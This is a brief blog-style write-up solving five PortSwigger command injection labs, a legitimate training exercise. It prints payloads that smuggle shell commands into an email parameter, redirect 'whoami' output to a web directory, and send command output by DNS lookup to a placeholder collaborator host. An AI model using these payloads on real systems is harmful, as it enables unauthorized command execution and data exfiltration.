> For the complete documentation index, see [llms.txt](https://rouvin.gitbook.io/ibreakstuff/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://rouvin.gitbook.io/ibreakstuff/websec/command-injection/portswigger-commandinjection-writeup.md).

# Portswigger Labs

## Lab 1: Simple Case

Very simple. Check stock is vulnerable:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-8e7ff6ed2af640dd6780ef3eac468452c9320d53%2Fportswigger-commandinjection-writeup-image.png?alt=media)

## Lab 2: Time Delay via Sleep

To solve, cause a 10 second delay. There is a 'Submit feedback' function.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-b9f630957b01cc1819c18d92325e6dbacc9497ef%2Fportswigger-commandinjection-writeup-image-1.png?alt=media)

Test each parameter, and find that using the concat function `||` works with the `email` parameter.

\`email=<test@test.com>||sleep+10

## Lab 3: Output Redirection

Blind OS command execution, and response is not returned. To solve, execute `whoami` and retrieve output.

This lab gives us a writeable directory at `/var/www/images`. Pretty straightforward.

Abusing the `email` parameter again, just do `||whoami>/var/www/images/test.txt`. When the home page is loaded, I saw that it uses a `filename` parameter:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-32987ef9296303fa00cb5474a48bdebd77477b5a%2Fportswigger-commandinjection-writeup-image-2.png?alt=media)

Using this, change it to `filename=test.txt` to solve the lab.

## Lab 4: Out of Band Interaction

This is pretty simple. One can use `curl` or `wget` to trigger a response to an external server. Since the lab requires a DNS lookup to be done, use `nslookup`.

`email=x||nslookup+burp.URL||`

## Lab 5: Out of Band Exfiltration

One can use a template literal \` to solve this.

```
email=test||nslookup+`whoami`.URL||`
```